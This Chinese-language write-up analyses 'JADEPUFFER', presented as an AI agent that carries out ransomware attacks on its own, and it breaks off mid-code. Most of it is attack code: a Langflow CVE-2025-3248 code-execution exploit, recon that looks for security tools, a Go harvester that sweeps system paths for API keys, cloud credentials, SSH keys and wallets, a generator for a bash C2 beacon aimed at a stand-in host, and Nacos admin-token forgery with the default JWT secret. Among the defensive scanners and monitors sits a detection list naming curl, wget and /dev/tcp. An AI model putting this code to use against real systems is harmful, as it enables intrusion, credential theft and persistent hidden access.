JADEPUFFER：全球首例AI Agent完全自主勒索攻击深度解析——从Langflow漏洞到1342条配置加密，31秒自主修复的AI攻击新纪元

#!/usr/bin/env python3
"""
CVE-2025-3248 漏洞利用模拟（安全研究教育目的）
JADEPUFFER使用的初始入侵向量
"""

import requests
import json
import time
import random
import base64
from typing import Dict, Any, Optional


class LangflowExploit:
    """
    模拟JADEPUFFER使用的Langflow漏洞利用过程。
    注意：此代码仅供安全研究教育目的，严禁用于非法攻击。
    """
    
    def __init__(self, target: str):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        })
        self.vuln_endpoint = f"{self.target}/api/v1/validate/code"
        
    def verify_vulnerability(self) -> bool:
        """验证目标是否存在漏洞"""
        # 轻量级探测：执行无害命令
        probe_code = """
def probe():
    import socket
    hostname = socket.gethostname()
    return {"hostname": hostname, "vulnerable": True}
        """
        
        payload = {
            "code": probe_code.strip(),
            "language": "python"
        }
        
        try:
            resp = self.session.post(
                self.vuln_endpoint,
                json=payload,
                timeout=10
            )
            if resp.status_code == 200:
                result = resp.json()
                print(f"[+] 目标 {self.target} 存在漏洞")
                print(f"[+] 主机名: {result.get('result', {}).get('hostname', 'unknown')}")
                return True
        except Exception as e:
            print(f"[-] 连接失败: {e}")
        return False
    
    def execute_code(self, code: str) -> Dict[str, Any]:
        """通过漏洞接口执行任意Python代码"""
        payload = {
            "code": code.strip(),
            "language": "python"
        }
        
        try:
            resp = self.session.post(
                self.vuln_endpoint,
                json=payload,
                timeout=30
            )
            if resp.status_code == 200:
                return resp.json()
            else:
                return {"error": f"HTTP {resp.status_code}", "detail": resp.text}
        except Exception as e:
            return {"error": str(e)}
    
    def get_system_info(self) -> Dict[str, Any]:
        """获取系统基本信息（JADEPUFFER的初始侦察代码）"""
        info_code = """
def get_system_info():
    import os
    import platform
    import pwd
    import socket
    
    info = {
        "platform": platform.platform(),
        "architecture": platform.machine(),
        "processor": platform.processor(),
        "hostname": socket.gethostname(),
        "username": pwd.getpwuid(os.getuid()).pw_name,
        "cwd": os.getcwd(),
        "env_keys": list(os.environ.keys()),
        "network_interfaces": [],
        "running_processes": [],
        "open_ports": [],
    }
    
    # 获取网络接口
    try:
        import netifaces
        for iface in netifaces.interfaces():
            addrs = netifaces.ifaddresses(iface)
            info["network_interfaces"].append({
                "name": iface,
                "addrs": {str(k): [a.get('addr') for a in v if 'addr' in a] 
                         for k, v in addrs.items()}
            })
    except ImportError:
        pass
    
    # 获取运行进程
    try:
        import psutil
        info["running_processes"] = [
            {"pid": p.info['pid'], "name": p.info['name'], "cpu": p.info['cpu_percent']}
            for p in psutil.process_iter(['pid', 'name', 'cpu_percent'])
        ][:50]  # 只取前50个
    except ImportError:
        pass
    
    return info
        """
        return self.execute_code(info_code)


# ============================================================
# 防御视角：检测Langflow暴露的扫描方法
# ============================================================

class LangflowExposureScanner:
    """
    检测内部网络中是否存在未修复的Langflow实例。
    用于安全团队主动发现攻击面。
    """
    
    def __init__(self, subnet: str, port: int = 7860):
        self.subnet = subnet
        self.port = port
        self.exposed_instances = []
    
    def scan_subnet(self, timeout: float = 2.0) -> list:
        """
        扫描子网中所有Langflow实例。
        使用异步并发提高扫描效率。
        """
        import asyncio
        
        async def check_host(host: str) -> Optional[Dict]:
            try:
                reader, writer = await asyncio.wait_for(
                    asyncio.open_connection(host, self.port),
                    timeout=timeout
                )
                writer.close()
                await writer.wait_closed()
                
                # 尝试获取Langflow版本信息
                url = f"http://{host}:{self.port}/api/v1/validate/code"
                # 构建轻量级探测payload
                probe = {
                    "code": "def p():\n    return {'langflow': True}",
                    "language": "python"
                }
                
                async def check_vuln():
                    import aiohttp
                    async with aiohttp.ClientSession() as session:
                        try:
                            async with session.post(url, json=probe, timeout=5) as resp:
                                if resp.status == 200:
                                    return {"host": host, "port": self.port, "vulnerable": True}
                                else:
                                    return {"host": host, "port": self.port, "vulnerable": False}
                        except:
                            return {"host": host, "port": self.port, "vulnerable": "unknown"}
                
                return await check_vuln()
            except:
                return None
        
        # 构建IP列表
        ips = []
        base_parts = self.subnet.split('.')
        for i in range(1, 255):
            ips.append(f"{'.'.join(base_parts[:3])}.{i}")
        
        # 并发扫描
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        tasks = [check_host(ip) for ip in ips]
        results = loop.run_until_complete(asyncio.gather(*tasks))
        loop.close()
        
        self.exposed_instances = [r for r in results if r is not None]
        return self.exposed_instances
    
    def generate_report(self) -> str:
        report = "=" * 60 + "\n"
        report += "Langflow暴露面扫描报告\n"
        report += "=" * 60 + "\n\n"
        
        vulnerable = [i for i in self.exposed_instances if i.get('vulnerable') == True]
        report += f"扫描范围: {self.subnet}.0/24\n"
        report += f"总计发现: {len(self.exposed_instances)} 个Langflow实例\n"
        report += f"存在漏洞: {len(vulnerable)} 个（需立即修复）\n\n"
        
        if vulnerable:
            report += "【高危】以下实例需立即升级至Langflow >= 1.3.0:\n"
            for v in vulnerable:
                report += f"  - {v['host']}:{v['port']}\n"
        
        report += "\n推荐修复措施:\n"
        report += "  1. 升级Langflow至最新版本\n"
        report += "  2. 不要将validate/code接口暴露在公网\n"
        report += "  3. 添加网络层访问控制（IP白名单）\n"
        report += "  4. 启用WAF规则拦截代码注入类payload\n"
        
        return report


if __name__ == "__main__":
    # 安全研究示例
    print("[安全研究] JADEPUFFER初始入侵向量分析\n")
    
    # 漏洞利用模拟（请勿在未授权系统上执行）
    # exploit = LangflowExploit("http://target:7860")
    # if exploit.verify_vulnerability():
    #     info = exploit.get_system_info()
    #     print(json.dumps(info, indent=2))
    
    # 防御扫描
    print("[防御] 内网Langflow暴露面扫描示例\n")
    scanner = LangflowExposureScanner("192.168.1.0")
    print("扫描命令: scanner.scan_subnet()")
    print("建议: 定期扫描内网未修复的Langflow实例\n")
    
    # CVE-2025-3248修复验证
    print("\n[CVE-2025-3248修复验证]")
    print("检查Langflow版本:")
    print("  pip show langflow | grep Version")
    print("  要求: Version >= 1.3.0")
    print("\n检查接口访问控制:")
    print("  curl -X POST http://host:7860/api/v1/validate/code \\")
    print("    -H 'Content-Type: application/json' \\")
    print("    -d '{\"code\":\"def p():\\n    return 1\",\"language\":\"python\"}'")
    print("  期望: 返回403或401（已修复+鉴权）")

# ============================================================
# JADEPUFFER生成的初始渗透代码结构（模拟）
# ============================================================
"""
目标: {target_ip}:7860
漏洞: CVE-2025-3248
攻击阶段: 初始入侵

攻击代码由AI Agent根据目标环境动态生成。
每一步都有自然语言注释，说明操作目的和优先级。
"""

import os
import sys
import json
import base64
import subprocess
from datetime import datetime

# Phase 1: 建立初始立足点
# 优先级: CRITICAL
# 目的: 验证代码执行能力，获取系统基本信息
def establish_foothold():
    """
    AI生成的侦察代码，包含详细注释说明每一步的作用。
    这是JADEPUFFER区别于传统自动化攻击的关键特征。
    """
    info = {}
    
    # Step 1: 系统基本信息
    # 目的: 判断操作系统类型和架构，为后续payload选择做准备
    info['os'] = sys.platform
    info['python_version'] = sys.version
    info['hostname'] = os.uname().nodename if hasattr(os, 'uname') else os.environ.get('HOSTNAME', 'unknown')
    
    # Step 2: 网络环境探测
    # 目的: 判断是否在内网环境，为横向移动做准备
    try:
        import socket
        host = socket.gethostname()
        info['ip_addresses'] = socket.gethostbyname_ex(host)[2]
    except:
        info['ip_addresses'] = ['127.0.0.1']
    
    # Step 3: 进程信息收集
    # 目的: 检测是否有安全监控（EDR/AV）进程
    try:
        import psutil
        critical_processes = ['falcon', 'crowdstrike', 'sentinelone', 'defender',
                             'symantec', 'trendmicro', 'sophos', 'kaspersky']
        detected_security = []
        for proc in psutil.process_iter(['name']):
            try:
                name = proc.info['name'].lower()
                for cp in critical_processes:
                    if cp in name:
                        detected_security.append(name)
            except:
                pass
        info['security_tools'] = detected_security
    except:
        pass
    
    return info

// ============================================================
// JADEPUFFER侦察阶段的Go实现模拟
// ============================================================
package main

import (
    "bufio"
    "encoding/json"
    "fmt"
    "io/ioutil"
    "os"
    "path/filepath"
    "regexp"
    "strings"
    "time"
)

// ReconResult 存储侦察结果的结构
type ReconResult struct {
    Timestamp      time.Time           `json:"timestamp"`
    APIKeys        []CredentialEntry   `json:"api_keys"`
    CloudCreds     []CredentialEntry   `json:"cloud_credentials"`
    DatabaseCreds  []CredentialEntry   `json:"database_credentials"`
    CryptoWallets  []CryptoEntry       `json:"crypto_wallets"`
    ConfigFiles    []string            `json:"config_files"`
    NetworkInfo    NetworkInfo         `json:"network_info"`
    TargetPriority int                 `json:"target_priority"`
}

type CredentialEntry struct {
    Service    string `json:"service"`
    KeyName    string `json:"key_name"`
    KeyPrefix  string `json:"key_prefix"`
    FoundIn    string `json:"found_in"`
    Confidence float64 `json:"confidence"`
}

type CryptoEntry struct {
    Type   string `json:"type"`
    Value  string `json:"value"`
    Source string `json:"source"`
}

type NetworkInfo struct {
    InternalIPs  []string `json:"internal_ips"`
    OpenPorts    []int    `json:"open_ports"`
    Services     []string `json:"services"`
    Subnets      []string `json:"subnets"`
}

// AIReconAgent JADEPUFFER的AI侦察Agent
// 使用LLM驱动的任务规划机制，动态决定侦察策略
type AIReconAgent struct {
    results     ReconResult
    scanPaths   []string
    apiKeyPatterns map[string]*regexp.Regexp
}

func NewAIReconAgent() *AIReconAgent {
    r := &AIReconAgent{
        results: ReconResult{
            Timestamp: time.Now(),
        },
        scanPaths: []string{
            "/etc/",
            "/home/",
            "/root/",
            "/var/",
            "/opt/",
            "/usr/local/",
            "/app/",
            "/data/",
            "/config/",
            "/.env",
            "/.config/",
        },
    }
    
    // AI识别的高价值API密钥模式
    r.apiKeyPatterns = map[string]*regexp.Regexp{
        // OpenAI API Key: sk-开头
        "OpenAI":          regexp.MustCompile(`sk-[A-Za-z0-9]{20,}`),
        // Anthropic API Key: sk-ant-开头
        "Anthropic":       regexp.MustCompile(`sk-ant-[A-Za-z0-9]{20,}`),
        // DeepSeek API Key
        "DeepSeek":        regexp.MustCompile(`sk-[a-f0-9]{32,}`),
        // Google Gemini API Key
        "Gemini":          regexp.MustCompile(`AIzaSy[A-Za-z0-9_-]{33}`),
        // AWS Access Key
        "AWS_AccessKey":   regexp.MustCompile(`AKIA[0-9A-Z]{16}`),
        // AWS Secret Key
        "AWS_SecretKey":   regexp.MustCompile(`[A-Za-z0-9/+=]{40}`),
        // Azure Key
        "Azure_Key":       regexp.MustCompile(`[a-z0-9]{32}`),
        // GCP Service Account
        "GCP_SA":          regexp.MustCompile(`[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+\.iam\.gserviceaccount\.com`),
        // Aliyun AccessKey
        "Aliyun_AK":       regexp.MustCompile(`LTAI[A-Za-z0-9]{12,}`),
        // Aliyun Secret
        "Aliyun_SK":       regexp.MustCompile(`[A-Za-z0-9]{30}`),
        // Tencent Cloud SecretId
        "Tencent_SecretId": regexp.MustCompile(`AKID[A-Za-z0-9]{20,}`),
        // JWT Token
        "JWT":             regexp.MustCompile(`eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}`),
        // Private Key
        "PrivateKey":      regexp.MustCompile(`-----BEGIN (RSA |EC )?PRIVATE KEY-----`),
        // Crypto Wallet (Ethereum)
        "ETH_Wallet":      regexp.MustCompile(`0x[a-fA-F0-9]{40}`),
        // Crypto Wallet (Bitcoin)
        "BTC_Wallet":      regexp.MustCompile(`[13][a-km-zA-HJ-NP-Z1-9]{25,34}`),
        // Mnemonic Phrase
        "Mnemonic":        regexp.MustCompile(`(?:^|\s)(?:[a-z]+\s){11,23}[a-z]+(?:\s|$)`),
    }
    
    return r
}

// ScanEnvironment AI驱动的环境扫描
// JADEPUFFER使用LLM生成扫描策略，以下是其核心逻辑的Go实现
func (r *AIReconAgent) ScanEnvironment(basePath string) error {
    fmt.Printf("[JADEPUFFER] 开始AI驱动侦察扫描 - 目标: %s\n", basePath)
    
    // Step 1: 扫描环境变量
    // AI判断：环境变量是高价值凭证的"第一桶金"
    fmt.Println("[*] Phase 1: 扫描环境变量")
    for _, env := range os.Environ() {
        parts := strings.SplitN(env, "=", 2)
        if len(parts) == 2 {
            r.checkAndCapture(parts[0], parts[1], "env:"+parts[0])
        }
    }
    
    // Step 2: 扫描配置文件
    // AI判断：配置文件包含结构化凭证信息
    fmt.Println("[*] Phase 2: 扫描配置文件")
    files := r.findConfigFiles(basePath)
    for _, file := range files {
        data, err := ioutil.ReadFile(file)
        if err != nil {
            continue
        }
        content := string(data)
        
        // 对配置文件中的每一行进行AI级模式匹配
        scanner := bufio.NewScanner(strings.NewReader(content))
        lineNum := 0
        for scanner.Scan() {
            lineNum++
            line := scanner.Text()
            for service, pattern := range r.apiKeyPatterns {
                matches := pattern.FindAllString(line, -1)
                for _, match := range matches {
                    entry := CredentialEntry{
                        Service:    service,
                        KeyName:    fmt.Sprintf("%s_line_%d", filepath.Base(file), lineNum),
                        KeyPrefix:  match[:minInt(8, len(match))] + "...",
                        FoundIn:    file,
                        Confidence: 0.9,
                    }
                    r.results.APIKeys = append(r.results.APIKeys, entry)
                    fmt.Printf("  [!] 发现高价值凭证: %s in %s\n", service, file)
                }
            }
        }
    }
    
    // Step 3: 网络探测
    // AI判断：理解网络拓扑是横向移动的前提
    fmt.Println("[*] Phase 3: 网络拓扑探测")
    r.detectNetworkTopology()
    
    // Step 4: 价值评估
    // AI对收集到的信息进行价值排序，决定下一步行动
    r.calculateTargetPriority()
    
    return nil
}

// findConfigFiles AI驱动的配置文件发现
// JADEPUFFER不局限于常见的配置文件名，而是根据上下文动态判断
func (r *AIReconAgent) findConfigFiles(basePath string) []string {
    var configFiles []string
    
    // 高优先级文件模式
    patterns := []string{
        "*.env*", ".env*", "config*", "*.conf", "*.config",
        "credentials*", "secret*", "token*", "key*", "*.pem",
        "*.key", "id_rsa", "id_ed25519", "*.json", "*.yaml",
        "*.yml", "*.toml", "*.ini", "docker-compose*",
        "kube*", "*.kubeconfig", "terraform*", "*.tfvars",
        "*.properties", "settings*", "application*",
    }
    
    // AI的智能路径探索 - 基于操作系统的路径优先级
    priorityPaths := []string{}
    if runtimeGOOS() == "linux" {
        priorityPaths = []string{
            "/etc/", "/home/", "/root/", "/var/", "/opt/",
            "/usr/local/etc/", "/app/", "/data/",
            "/mnt/", "/srv/", "/tmp/",
        }
    }
    
    for _, root := range priorityPaths {
        filepath.Walk(root, func(path string, info os.FileInfo, err error) error {
            if err != nil {
                return nil
            }
            if info.IsDir() {
                // 跳过隐藏目录（除了.开头的特殊配置目录）
                if strings.HasPrefix(info.Name(), ".") && 
                   info.Name() != ".config" && 
                   info.Name() != ".ssh" &&
                   info.Name() != ".aws" &&
                   info.Name() != ".kube" &&
                   info.Name() != ".docker" {
                    return filepath.SkipDir
                }
                return nil
            }
            
            // 匹配文件模式
            for _, pattern := range patterns {
                matched, _ := filepath.Match(pattern, info.Name())
                if matched {
                    // AI附加判断：检查文件大小（太大不是配置文件）
                    if info.Size() > 0 && info.Size() < 10*1024*1024 {
                        configFiles = append(configFiles, path)
                    }
                    break
                }
            }
            return nil
        })
    }
    
    return configFiles
}

// detectNetworkTopology 网络拓扑探测
// AI Agent根据环境自适应选择探测方式
func (r *AIReconAgent) detectNetworkTopology() {
    // 读取网络配置
    interfaces, _ := ioutil.ReadFile("/proc/net/fib_trie")
    if interfaces != nil {
        // 解析IP地址
        ipPattern := regexp.MustCompile(`\d+\.\d+\.\d+\.\d+`)
        ips := ipPattern.FindAllString(string(interfaces), -1)
        for _, ip := range ips {
            if !strings.HasPrefix(ip, "127.") && !strings.HasPrefix(ip, "0.") {
                r.results.NetworkInfo.InternalIPs = append(r.results.NetworkInfo.InternalIPs, ip)
                // 推断子网
                parts := strings.Split(ip, ".")
                if len(parts) == 4 {
                    subnet := fmt.Sprintf("%s.%s.%s.0/24", parts[0], parts[1], parts[2])
                    r.results.NetworkInfo.Subnets = append(r.results.NetworkInfo.Subnets, subnet)
                }
            }
        }
    }
    
    // 读取ARP表获取内网活跃主机
    arpData, _ := ioutil.ReadFile("/proc/net/arp")
    if arpData != nil {
        lines := strings.Split(string(arpData), "\n")
        for _, line := range lines[1:] { // Skip header
            fields := strings.Fields(line)
            if len(fields) >= 1 {
                ip := fields[0]
                if !strings.HasPrefix(ip, "127.") && ip != "" {
                    r.results.NetworkInfo.InternalIPs = append(r.results.NetworkInfo.InternalIPs, ip)
                }
            }
        }
    }
}

// calculateTargetPriority AI价值评估
// JADEPUFFER使用LLM对侦察结果进行优先级排序
func (r *AIReconAgent) calculateTargetPriority() {
    score := 0
    
    // 评估标准（AI的判断逻辑）
    if len(r.results.APIKeys) > 0 {
        score += 30 // API密钥价值最高
    }
    if len(r.results.CloudCreds) > 0 {
        score += 25
    }
    if len(r.results.DatabaseCreds) > 0 {
        score += 20 // 数据库凭证意味着有价值的数据
    }
    if len(r.results.NetworkInfo.InternalIPs) > 0 {
        score += 15 // 内网IP意味着可以横向移动
    }
    if len(r.results.CryptoWallets) > 0 {
        score += 10
    }
    
    r.results.TargetPriority = score
    fmt.Printf("[JADEPUFFER] 目标价值评分: %d/100\n", score)
    
    if score > 50 {
        fmt.Println("[!] 高价值目标，进入横向移动阶段")
    }
}

func minInt(a, b int) int {
    if a < b {
        return a
    }
    return b
}

func runtimeGOOS() string {
    // 简化实现 - 生产环境应使用runtime.GOOS
    if _, err := os.Stat("/proc/version"); err == nil {
        return "linux"
    }
    return "unknown"
}

func main() {
    agent := NewAIReconAgent()
    agent.ScanEnvironment("/")
    
    resultJSON, _ := json.MarshalIndent(agent.results, "", "  ")
    fmt.Printf("\n[JADEPUFFER] 侦察完成:\n%s\n", string(resultJSON))
}

#!/usr/bin/env python3
"""
JADEPUFFER持久化机制分析与防御
"""

import os
import re
import subprocess
from typing import List, Dict
from datetime import datetime, timedelta


class PersistenceAnalyzer:
    """
    AI Agent持久化机制分析器。
    检测和分析类JADEPUFFER的攻击者在系统上留下的持久化痕迹。
    """
    
    PERSISTENCE_PATTERNS = [
        # cron任务
        {
            'name': 'cron_job',
            'check_cmd': 'crontab -l 2>/dev/null',
            'suspicious_patterns': [
                r'curl.*\d+\.\d+\.\d+\.\d+',
                r'wget.*\d+\.\d+\.\d+\.\d+',
                r'bash.*\-c',
                r'python.*\-c.*import',
                r'/dev/tcp/',
                r'base64.*decode',
                r'mинer',  # 矿工程序
                r'ransom',
            ]
        },
        # systemd service
        {
            'name': 'systemd_service',
            'check_cmd': 'systemctl list-units --type=service --all 2>/dev/null | grep -E "\.service"',
            'suspicious_patterns': [
                r'[a-z]{8}\.service',
                r'update-[a-z]+\.service',
                r'[a-z]+-daemon\.service',
            ]
        },
        # SSH authorized_keys
        {
            'name': 'ssh_backdoor',
            'check_cmd': 'cat ~/.ssh/authorized_keys 2>/dev/null',
            'suspicious_patterns': [
                r'ssh-rsa AAAAB3NzaC1yc2',
            ]
        },
    ]
    
    @classmethod
    def analyze_system(cls) -> Dict[str, List[str]]:
        """分析系统是否存在类似JADEPUFFER的持久化机制"""
        findings = {}
        
        for pattern in cls.PERSISTENCE_PATTERNS:
            try:
                result = subprocess.run(
                    pattern['check_cmd'],
                    shell=True,
                    capture_output=True,
                    text=True,
                    timeout=5
                )
                output = result.stdout
                
                if not output.strip():
                    continue
                    
                suspicious = []
                for suspicious_pattern in pattern['suspicious_patterns']:
                    matches = re.findall(suspicious_pattern, output, re.IGNORECASE)
                    suspicious.extend(matches)
                
                if suspicious:
                    findings[pattern['name']] = suspicious
                    
            except subprocess.TimeoutExpired:
                findings[pattern['name']] = ['[TIMEOUT] 检查超时']
            except Exception as e:
                continue
        
        return findings


class JADEPUFFERPersistenceSim:
    """
    JADEPUFFER持久化机制模拟（仅供安全研究）。
    展示AI Agent如何通过计划任务维持访问权限。
    """
    
    @staticmethod
    def generate_c2_payload(c2_server: str, interval_minutes: int = 30) -> str:
        """
        JADEPUFFER风格的C2回连脚本。
        使用多种回连机制确保持久访问。
        """
        payload = f'''#!/bin/bash
# JADEPUFFER Persistence Module
# 使用多种回连机制确保高可用性
# C2: {c2_server}

C2_SERVER="{c2_server}"
HOSTNAME=$(hostname)
SLEEP_INTERVAL=$(({interval_minutes} * 60))

# 主回连通道: HTTPS
heartbeat_https() {{
    curl -s --connect-timeout 10 \\
        "https://${{C2_SERVER}}/api/v2/heartbeat" \\
        -H "X-Hostname: ${{HOSTNAME}}" \\
        -H "X-Token: $(cat /tmp/.cache/.token 2>/dev/null || echo 'init')" \\
        --data-raw '{{"status":"alive","type":"agent"}}' \\
        2>/dev/null
}}

# 备用回连通道: DNS隧道
heartbeat_dns() {{
    # 使用DNS查询作为备用通道
    dig @"${{C2_SERVER}}" "$(date +%s).${{HOSTNAME}}.alive.c2" +short 2>/dev/null
}}

# 心跳主循环
while true; do
    if heartbeat_https; then
        :
    elif heartbeat_dns; then
        :
    fi
    sleep $SLEEP_INTERVAL
done
'''
        return payload
    
    @staticmethod
    def create_backdoor_user(username: str) -> bool:
        """模拟AI创建隐藏管理员账号的过程"""
        # 实际JADEPUFFER通过Nacos漏洞创建隐藏账号
        # 此处展示检测这类隐藏账号的方法
        print(f"[模拟] JADEPUFFER创建隐藏管理员账号: {username}")
        print(f"[检测] 检查新建用户:")
        print(f"  grep '{username}' /etc/passwd")
        print(f"  grep '{username}' /etc/shadow")
        print(f"  lastlog | grep '{username}'")
        return True


# ============================================================
# 防御方案：持久化机制实时检测
# ============================================================

class PersistenceMonitor:
    """
    实时监控系统持久化机制变化。
    部署在关键服务器上，检测类JADEPUFFER的持久化行为。
    """
    
    def __init__(self):
        self.baseline = {}
        self.alert_queue = []
        
    def take_snapshot(self) -> Dict:
        """获取系统当前持久化状态快照"""
        snapshot = {
            'timestamp': datetime.now().isoformat(),
            'crontab': self._get_crontab(),
            'systemd_services': self._get_systemd_services(),
            'authorized_keys': self._get_authorized_keys(),
            'recent_users': self._get_recent_users(),
            'scheduled_tasks': self._get_scheduled_tasks_linux(),
            'listening_ports': self._get_listening_ports(),
            'new_processes': self._get_new_processes(),
        }
        return snapshot
    
    def _get_crontab(self) -> List[str]:
        try:
            result = subprocess.run(
                ['crontab', '-l'],
                capture_output=True, text=True, timeout=5
            )
            return [line.strip() for line in result.stdout.split('\n') if line.strip()]
        except:
            return []
    
    def _get_systemd_services(self) -> List[str]:
        try:
            result = subprocess.run(
                ['systemctl', 'list-units', '--type=service', '--all', '--no-pager'],
                capture_output=True, text=True, timeout=10
            )
            return result.stdout.split('\n')
        except:
            return []
    
    def _get_authorized_keys(self) -> List[str]:
        ssh_dir = os.path.expanduser('~/.ssh')
        auth_keys = os.path.join(ssh_dir, 'authorized_keys')
        if os.path.exists(auth_keys):
            with open(auth_keys) as f:
                return [line.strip() for line in f if line.strip() and not line.startswith('#')]
        return []
    
    def _get_recent_users(self) -> List[str]:
        try:
            result = subprocess.run(
                ['lastlog', '-t', '7'],
                capture_output=True, text=True, timeout=5
            )
            return result.stdout.split('\n')
        except:
            return []
    
    def _get_scheduled_tasks_linux(self) -> List[str]:
        tasks = []
        # 检查 systemd timers
        try:
            result = subprocess.run(
                ['systemctl', 'list-timers', '--all', '--no-pager'],
                capture_output=True, text=True, timeout=10
            )
            tasks.extend(result.stdout.split('\n'))
        except:
            pass
        
        # 检查 anacron
        try:
            with open('/etc/anacrontab') as f:
                tasks.extend([line.strip() for line in f if line.strip() and not line.startswith('#')])
        except:
            pass
        
        return tasks
    
    def _get_listening_ports(self) -> List[str]:
        try:
            result = subprocess.run(
                ['ss', '-tlnp'],
                capture_output=True, text=True, timeout=5
            )
            return result.stdout.split('\n')
        except:
            return []
    
    def _get_new_processes(self) -> List[str]:
        try:
            result = subprocess.run(
                ['ps', 'aux', '--sort=-pid'],
                capture_output=True, text=True, timeout=5
            )
            lines = result.stdout.split('\n')
            # 获取最近启动的进程（PID较大的）
            return lines[:20] if len(lines) >= 20 else lines
        except:
            return []
    
    def detect_changes(self, new_snapshot: Dict) -> List[str]:
        """检测与基线相比的变化"""
        alerts = []
        
        if not self.baseline:
            self.baseline = new_snapshot
            return []
        
        # 检查新增cron任务
        old_crons = set(self.baseline.get('crontab', []))
        new_crons = set(new_snapshot.get('crontab', []))
        added_crons = new_crons - old_crons
        for cron in added_crons:
            alerts.append(f"[高危] 新增cron任务: {cron}")
        
        # 检查新增监听端口
        old_ports = set(self.baseline.get('listening_ports', []))
        new_ports = set(new_snapshot.get('listening_ports', []))
        added_ports = new_ports - old_ports
        for port in added_ports:
            if '127.0.0.1' not in port:  # 本地回环端口风险较低
                alerts.append(f"[高危] 新增外部监听端口: {port}")
        
        # 检查新增authorized_keys
        old_keys = set(self.baseline.get('authorized_keys', []))
        new_keys = set(new_snapshot.get('authorized_keys', []))
        added_keys = new_keys - old_keys
        for key in added_keys:
            alerts.append(f"[严重] 新增SSH授权密钥: {key[:50]}...")
        
        self.baseline = new_snapshot
        return alerts
    
    def start_monitoring(self, interval: int = 60):
        """启动实时监控循环"""
        print(f"[+] 启动持久化监控 (检查间隔: {interval}秒)")
        
        try:
            while True:
                snapshot = self.take_snapshot()
                alerts = self.detect_changes(snapshot)
                
                for alert in alerts:
                    print(f"[!] {alert}")
                    self.alert_queue.append({
                        'timestamp': datetime.now().isoformat(),
                        'message': alert
                    })
                
                time.sleep(interval)
        except KeyboardInterrupt:
            print("\n[+] 监控停止")


if __name__ == "__main__":
    import time
    
    print("=" * 60)
    print("JADEPUFFER持久化机制分析与防御")
    print("=" * 60)
    
    # 分析当前系统持久化状态
    print("\n[分析] 系统持久化状态扫描...")
    findings = PersistenceAnalyzer.analyze_system()
    if findings:
        for mechanism, suspicious_items in findings.items():
            print(f"  [!] 发现可疑持久化: {mechanism}")
            for item in suspicious_items:
                print(f"      -> {item}")
    else:
        print("  [OK] 未发现已知可疑持久化机制")
    
    # 模拟JADEPUFFER C2回连
    print("\n[模拟] JADEPUFFER C2回连payload:")
    payload = JADEPUFFERPersistenceSim.generate_c2_payload(
        c2_server="malicious-c2.example.com",
        interval_minutes=30
    )
    # 只显示前几行
    for line in payload.split('\n')[:8]:
        print(f"  {line}")
    print("  ...")
    
    # 监控系统
    print("\n[防御] 启动持久化监控...")
    monitor = PersistenceMonitor()
    snapshot = monitor.take_snapshot()
    print(f"  基线快照已建立 ({len(snapshot)} 个检测维度)")
    print(f"  Cron任务数: {len(snapshot.get('crontab', []))}")
    print(f"  监听端口数: {len(snapshot.get('listening_ports', []))}")
    print(f"  SSH密钥数: {len(snapshot.get('authorized_keys', []))}")

#!/usr/bin/env python3
"""
JADEPUFFER Nacos漏洞利用链分析
安全研究：理解攻击者如何通过Nacos漏洞组合获取配置中心控制权
"""

import json
import hashlib
import base64
from typing import Dict, Optional, Tuple
from datetime import datetime


class NacosVulnerabilityChain:
    """
    JADEPUFFER使用的Nacos攻击链分析。
    组合利用以下漏洞/配置缺陷：
    1. CVE-2021-29441：Nacos身份验证绕过
    2. 默认JWT签名密钥未修改
    3. MySQL Root权限直接暴露
    """
    
    # Nacos默认JWT密钥（公开已知）
    # JADEPUFFER利用的就是这个从未被修改的默认密钥
    NACOS_DEFAULT_JWT_SECRET = "SecretKey012345678901234567890123456789012345678901234567890123456789"
    
    def __init__(self, nacos_host: str, mysql_host: str):
        self.nacos_host = nacos_host
        self.mysql_host = mysql_host
        self.admin_token = None
        self.hidden_admin_user = None
    
    def analyze_cve_2021_29441(self) -> Dict:
        """
        分析CVE-2021-29441漏洞原理。
        该漏洞允许未认证攻击者绕过Nacos身份验证。
        """
        return {
            "cve_id": "CVE-2021-29441",
            "cvss_score": 8.1,
            "affected_versions": "Nacos <= 1.4.1",
            "vuln_type": "Authentication Bypass",
            "description": (
                "Nacos在开启认证后（application.properties中设置"
                "nacos.core.auth.enabled=true），通过User-Agent头部"
                "设置为Nacos-Server即可绕过身份验证，直接访问管理接口"
            ),
            "exploit_condition": (
                "1. Nacos版本 <= 1.4.1\n"
                "2. 已开启认证但未升级补丁版本\n"
                "3. 系统暴露在公网或攻击者可访问的内网"
            ),
            "fix": "升级至Nacos >= 1.4.2，或在2.x版本中此漏洞已被修复",
            "jade_puffer_usage": (
                "JADEPUFFER通过此漏洞绕过Nacos登录页面，"
                "结合默认JWT密钥，直接创建管理员账号"
            )
        }
    
    def forge_jwt_token(self, username: str = "nacos") -> str:
        """
        使用默认JWT密钥伪造Nacos管理Token。
        JADEPUFFER使用了完全相同的方法。
        
        安全警告：此代码仅用于理解漏洞原理，请勿用于非法用途。
        """
        import jwt
        
        # 构造JWT payload
        payload = {
            "sub": username,
            "exp": datetime.now().timestamp() + 86400 * 7,  # 7天有效期
            "iat": datetime.now().timestamp(),
            "userType": "admin",  # 关键：声明为管理员角色
        }
        
        # 使用默认密钥签名
        token = jwt.encode(
            payload,
            self.NACOS_DEFAULT_JWT_SECRET,
            algorithm="HS256"
        )
        
        return token
    
    def analyze_default_jwt_risk(self) -> Dict:
        """
        分析Nacos默认JWT密钥的安全风险。
        JADEPUFFER证明了这一个5年未改的默认配置是多么危险。
        """
        return {
            "default_secret": self.NACOS_DEFAULT_JWT_SECRET[:16] + "...（仅展示前16位）",
            "risk_level": "CRITICAL",
            "risk_description": (
                "Nacos从1.x版本开始使用的默认JWT签名密钥在GitHub、"
                "技术文档和多个开源项目中被公开，任何熟悉Nacos的"
                "攻击者都可以使用此密钥伪造管理员Token"
            ),
            "attack_vector": (
                "1. 获取Nacos Pod名称/服务地址\n"
                "2. 使用默认密钥伪造JWT Token\n"
                "3. 使用伪造Token访问nacos/v1/auth/users接口\n"
                "4. 创建具有管理员权限的新用户\n"
                "5. 以新用户登录Nacos，获取完整配置中心控制权"
            ),
